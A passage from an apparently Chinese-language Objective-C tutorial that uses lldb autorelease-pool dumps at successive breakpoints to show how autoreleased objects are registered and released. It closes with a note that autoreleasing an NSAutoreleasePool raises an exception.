objc[7028]: [0x7ff577009078] 0x604000028d20 __NSArrayI
objc[7028]: [0x7ff577009080] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009088] 0x604000071c40 __NSCFDictionary
objc[7028]: [0x7ff577009090] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009098] 0x604000049e40 __NSArrayM
objc[7028]: [0x7ff5770090a0] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff5770090a8] 0x7ff576604080 UIStatusBarWindow
objc[7028]: [0x7ff5770090b0] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770090b8] 0x604000046990 __NSArrayM
objc[7028]: [0x7ff5770090c0] 0x7ff57880aeb0 UIView
objc[7028]: [0x7ff5770090c8] 0x7ff57880aeb0 UIView
objc[7028]: [0x7ff5770090d0] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770090d8] 0x604000048970 __NSArrayM
objc[7028]: [0x7ff5770090e0] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770090e8] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770090f0] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff5770090f8] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009100] 0x60c0000f7e00 _UIApplicationCanvas
objc[7028]: [0x7ff577009108] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009110] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009118] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009120] 0x60c0000f7e00 _UIApplicationCanvas
objc[7028]: [0x7ff577009128] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009130] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009138] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009140] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009148] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009150] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009158] 0x60c0000f7e00 _UIApplicationCanvas
objc[7028]: [0x7ff577009160] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009168] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009170] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009178] 0x60c0000f7e00 _UIApplicationCanvas
objc[7028]: [0x7ff577009180] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009188] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009190] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009198] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770091a0] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff5770091a8] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770091b0] 0x60c0000f7e00 _UIApplicationCanvas
objc[7028]: [0x7ff5770091b8] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff5770091c0] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff5770091c8] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770091d0] 0x60c0000f7e00 _UIApplicationCanvas
objc[7028]: [0x7ff5770091d8] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff5770091e0] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff5770091e8] 0x604000046990 __NSArrayM
objc[7028]: [0x7ff5770091f0] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770091f8] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009200] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009208] 0x7ff578800540 UITouch
objc[7028]: [0x7ff577009210] 0x604000049420 __NSArrayM
objc[7028]: [0x7ff577009218] 0x604000013130 __NSSingleObjectSetI
objc[7028]: [0x7ff577009220] 0x60400008de80 __NSMallocBlock__
objc[7028]: [0x7ff577009228] 0x604000013130 __NSSingleObjectSetI
objc[7028]: [0x7ff577009230] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff577009238] 0x60800010ee80 NSXPCConnection
objc[7028]: [0x7ff577009240] 0x60400008de30 __NSXPCInterfaceProxy__UIKeyboardArbitration
objc[7028]: [0x7ff577009248] 0x60800002ea80 NSXPCInterface
objc[7028]: [0x7ff577009250] 0x10ecc4a58 __NSGlobalBlock__
objc[7028]: [0x7ff577009258] 0x60800002ea80 NSXPCInterface
objc[7028]: [0x7ff577009260] 0x60800002ef60 __NSArrayI
objc[7028]: [0x7ff577009268] 0x7ff57880aeb0 UIView
objc[7028]: [0x7ff577009270] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff577009278] 0x7ff57880aeb0 UIView
objc[7028]: [0x7ff577009280] 0x6040000130f0 __NSDate
objc[7028]: [0x7ff577009288] 0x604000360cc0 __NSCFTimer
objc[7028]: [0x7ff577009290] 0x604000029440 __NSArrayI
objc[7028]: [0x7ff577009298] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff5770092a0] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff5770092a8] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff5770092b0] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff5770092b8] 0x60400002abc0 __NSArrayI
objc[7028]: [0x7ff5770092c0] 0x60400002aaa0 __NSArrayI
objc[7028]: [0x7ff5770092c8] 0x6040000132d0 __NSSingleObjectArrayI
objc[7028]: [0x7ff5770092d0] 0x60800010edf0 UITouchesEvent
objc[7028]: [0x7ff5770092d8] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff5770092e0] 0x604000026f00 AppDelegate
objc[7028]: [0x7ff5770092e8] ################ POOL 0x7ff5770092e8
objc[7028]: ##############
0x75269231ba3900d2

执行断点3处的代码,日志如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
2020-01-27 19:27:07.529438+0800 NSAutoReleasePool测试[7028:191376] 执行断点3处的代码。
(lldb) po _objc_autoreleasePoolPrint();
objc[7028]: ##############
objc[7028]: AUTORELEASE POOLS for thread 0x11a0615c0
objc[7028]: 88 releases pending.
objc[7028]: [0x7ff577009000] ................ PAGE (hot) (cold)
objc[7028]: [0x7ff577009038] ################ POOL 0x7ff577009038
objc[7028]: [0x7ff577009040] 0x60800002d3a0 __NSCFString
objc[7028]: [0x7ff577009048] ################ POOL 0x7ff577009048
objc[7028]: [0x7ff577009050] ################ POOL 0x7ff577009050
objc[7028]: [0x7ff577009058] 0x60800023fca0 CAContextImpl
objc[7028]: [0x7ff577009060] 0x60800023fca0 CAContextImpl
objc[7028]: [0x7ff577009068] 0x604000027500 CAContextImpl
objc[7028]: [0x7ff577009070] 0x604000027500 CAContextImpl
objc[7028]: [0x7ff577009078] 0x604000028d20 __NSArrayI
objc[7028]: [0x7ff577009080] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009088] 0x604000071c40 __NSCFDictionary
objc[7028]: [0x7ff577009090] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009098] 0x604000049e40 __NSArrayM
objc[7028]: [0x7ff5770090a0] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff5770090a8] 0x7ff576604080 UIStatusBarWindow
objc[7028]: [0x7ff5770090b0] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770090b8] 0x604000046990 __NSArrayM
objc[7028]: [0x7ff5770090c0] 0x7ff57880aeb0 UIView
objc[7028]: [0x7ff5770090c8] 0x7ff57880aeb0 UIView
objc[7028]: [0x7ff5770090d0] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770090d8] 0x604000048970 __NSArrayM
objc[7028]: [0x7ff5770090e0] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770090e8] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770090f0] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff5770090f8] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009100] 0x60c0000f7e00 _UIApplicationCanvas
objc[7028]: [0x7ff577009108] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009110] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009118] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009120] 0x60c0000f7e00 _UIApplicationCanvas
objc[7028]: [0x7ff577009128] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009130] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009138] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009140] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009148] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009150] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009158] 0x60c0000f7e00 _UIApplicationCanvas
objc[7028]: [0x7ff577009160] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009168] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009170] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009178] 0x60c0000f7e00 _UIApplicationCanvas
objc[7028]: [0x7ff577009180] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009188] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009190] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009198] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770091a0] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff5770091a8] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770091b0] 0x60c0000f7e00 _UIApplicationCanvas
objc[7028]: [0x7ff5770091b8] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff5770091c0] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff5770091c8] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770091d0] 0x60c0000f7e00 _UIApplicationCanvas
objc[7028]: [0x7ff5770091d8] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff5770091e0] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff5770091e8] 0x604000046990 __NSArrayM
objc[7028]: [0x7ff5770091f0] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770091f8] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009200] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009208] 0x7ff578800540 UITouch
objc[7028]: [0x7ff577009210] 0x604000049420 __NSArrayM
objc[7028]: [0x7ff577009218] 0x604000013130 __NSSingleObjectSetI
objc[7028]: [0x7ff577009220] 0x60400008de80 __NSMallocBlock__
objc[7028]: [0x7ff577009228] 0x604000013130 __NSSingleObjectSetI
objc[7028]: [0x7ff577009230] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff577009238] 0x60800010ee80 NSXPCConnection
objc[7028]: [0x7ff577009240] 0x60400008de30 __NSXPCInterfaceProxy__UIKeyboardArbitration
objc[7028]: [0x7ff577009248] 0x60800002ea80 NSXPCInterface
objc[7028]: [0x7ff577009250] 0x10ecc4a58 __NSGlobalBlock__
objc[7028]: [0x7ff577009258] 0x60800002ea80 NSXPCInterface
objc[7028]: [0x7ff577009260] 0x60800002ef60 __NSArrayI
objc[7028]: [0x7ff577009268] 0x7ff57880aeb0 UIView
objc[7028]: [0x7ff577009270] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff577009278] 0x7ff57880aeb0 UIView
objc[7028]: [0x7ff577009280] 0x6040000130f0 __NSDate
objc[7028]: [0x7ff577009288] 0x604000360cc0 __NSCFTimer
objc[7028]: [0x7ff577009290] 0x604000029440 __NSArrayI
objc[7028]: [0x7ff577009298] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff5770092a0] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff5770092a8] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff5770092b0] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff5770092b8] 0x60400002abc0 __NSArrayI
objc[7028]: [0x7ff5770092c0] 0x60400002aaa0 __NSArrayI
objc[7028]: [0x7ff5770092c8] 0x6040000132d0 __NSSingleObjectArrayI
objc[7028]: [0x7ff5770092d0] 0x60800010edf0 UITouchesEvent
objc[7028]: [0x7ff5770092d8] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff5770092e0] 0x604000026f00 AppDelegate
objc[7028]: [0x7ff5770092e8] ################ POOL 0x7ff5770092e8
objc[7028]: [0x7ff5770092f0] 0x60400004a770 __NSArrayI
objc[7028]: ##############
0x75269231ba3900d2

执行断点4处的代码,日志如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
2020-01-27 19:28:45.777438+0800 NSAutoReleasePool测试[7028:191376] 执行断点4处的代码。
(lldb) po _objc_autoreleasePoolPrint();
objc[7028]: ##############
objc[7028]: AUTORELEASE POOLS for thread 0x11a0615c0
objc[7028]: 86 releases pending.
objc[7028]: [0x7ff577009000] ................ PAGE (hot) (cold)
objc[7028]: [0x7ff577009038] ################ POOL 0x7ff577009038
objc[7028]: [0x7ff577009040] 0x60800002d3a0 __NSCFString
objc[7028]: [0x7ff577009048] ################ POOL 0x7ff577009048
objc[7028]: [0x7ff577009050] ################ POOL 0x7ff577009050
objc[7028]: [0x7ff577009058] 0x60800023fca0 CAContextImpl
objc[7028]: [0x7ff577009060] 0x60800023fca0 CAContextImpl
objc[7028]: [0x7ff577009068] 0x604000027500 CAContextImpl
objc[7028]: [0x7ff577009070] 0x604000027500 CAContextImpl
objc[7028]: [0x7ff577009078] 0x604000028d20 __NSArrayI
objc[7028]: [0x7ff577009080] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009088] 0x604000071c40 __NSCFDictionary
objc[7028]: [0x7ff577009090] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009098] 0x604000049e40 __NSArrayM
objc[7028]: [0x7ff5770090a0] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff5770090a8] 0x7ff576604080 UIStatusBarWindow
objc[7028]: [0x7ff5770090b0] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770090b8] 0x604000046990 __NSArrayM
objc[7028]: [0x7ff5770090c0] 0x7ff57880aeb0 UIView
objc[7028]: [0x7ff5770090c8] 0x7ff57880aeb0 UIView
objc[7028]: [0x7ff5770090d0] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770090d8] 0x604000048970 __NSArrayM
objc[7028]: [0x7ff5770090e0] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770090e8] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770090f0] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff5770090f8] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009100] 0x60c0000f7e00 _UIApplicationCanvas
objc[7028]: [0x7ff577009108] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009110] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009118] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009120] 0x60c0000f7e00 _UIApplicationCanvas
objc[7028]: [0x7ff577009128] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009130] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009138] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009140] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009148] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009150] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009158] 0x60c0000f7e00 _UIApplicationCanvas
objc[7028]: [0x7ff577009160] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009168] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009170] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009178] 0x60c0000f7e00 _UIApplicationCanvas
objc[7028]: [0x7ff577009180] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009188] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009190] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009198] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770091a0] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff5770091a8] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770091b0] 0x60c0000f7e00 _UIApplicationCanvas
objc[7028]: [0x7ff5770091b8] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff5770091c0] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff5770091c8] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770091d0] 0x60c0000f7e00 _UIApplicationCanvas
objc[7028]: [0x7ff5770091d8] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff5770091e0] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff5770091e8] 0x604000046990 __NSArrayM
objc[7028]: [0x7ff5770091f0] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff5770091f8] 0x60c0000cbb40 UIApplicationSceneSettings
objc[7028]: [0x7ff577009200] 0x7ff578801260 UIScreen
objc[7028]: [0x7ff577009208] 0x7ff578800540 UITouch
objc[7028]: [0x7ff577009210] 0x604000049420 __NSArrayM
objc[7028]: [0x7ff577009218] 0x604000013130 __NSSingleObjectSetI
objc[7028]: [0x7ff577009220] 0x60400008de80 __NSMallocBlock__
objc[7028]: [0x7ff577009228] 0x604000013130 __NSSingleObjectSetI
objc[7028]: [0x7ff577009230] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff577009238] 0x60800010ee80 NSXPCConnection
objc[7028]: [0x7ff577009240] 0x60400008de30 __NSXPCInterfaceProxy__UIKeyboardArbitration
objc[7028]: [0x7ff577009248] 0x60800002ea80 NSXPCInterface
objc[7028]: [0x7ff577009250] 0x10ecc4a58 __NSGlobalBlock__
objc[7028]: [0x7ff577009258] 0x60800002ea80 NSXPCInterface
objc[7028]: [0x7ff577009260] 0x60800002ef60 __NSArrayI
objc[7028]: [0x7ff577009268] 0x7ff57880aeb0 UIView
objc[7028]: [0x7ff577009270] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff577009278] 0x7ff57880aeb0 UIView
objc[7028]: [0x7ff577009280] 0x6040000130f0 __NSDate
objc[7028]: [0x7ff577009288] 0x604000360cc0 __NSCFTimer
objc[7028]: [0x7ff577009290] 0x604000029440 __NSArrayI
objc[7028]: [0x7ff577009298] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff5770092a0] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff5770092a8] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff5770092b0] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff5770092b8] 0x60400002abc0 __NSArrayI
objc[7028]: [0x7ff5770092c0] 0x60400002aaa0 __NSArrayI
objc[7028]: [0x7ff5770092c8] 0x6040000132d0 __NSSingleObjectArrayI
objc[7028]: [0x7ff5770092d0] 0x60800010edf0 UITouchesEvent
objc[7028]: [0x7ff5770092d8] 0x7ff578808a50 UIWindow
objc[7028]: [0x7ff5770092e0] 0x604000026f00 AppDelegate
objc[7028]: ##############
0x75269231ba3900d2

由以上日志可见,断点1处时objc[7028]: 86 releases pending.,有86个autorelease对象等待释放;然后新建一个autoreleasepool,到断点2处时objc[7028]: 87 releases pending.,有87个autorelease对象等待释放;然后创建一个NSArray对象并注册到autoreleasepool,到断点3处时objc[7028]: 88 releases pending.,有88个对象等待释放;最后出autoreleasepool的范围,新建的NSArray对象和autoreleasepool对象都被释放了,又恢复到最初时候objc[7028]: 86 releases pending.,仍然只有86个对象等待释放。整个的过程可以判断出autoreleasepool的内存管理方式。注意在autoreleasepool中包裹的部分,只有通过类方法,并且不是 alloc/init/copy/mutableCopy 获取到的对象才会注册到当前的autoreleasepool中,才可以使用以上方式查找内存的详细情况。

如果autorelease NSAutoreleasePool对象会如何?

1
2
NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
[pool autorelease];

回答:发生异常,通常在使用Objective-C,也就是Foundation框架时,无论调用哪一个对象的 autorelease 实例方法,实现上调用的都是 NSObject 类的 autorelease 实例方法。但是对于 NSAutoreleasePool类,autorelease 实例方法已被该类重载,因此运行时就会报错。

参考

《iOS与OS X多线程和内存管理》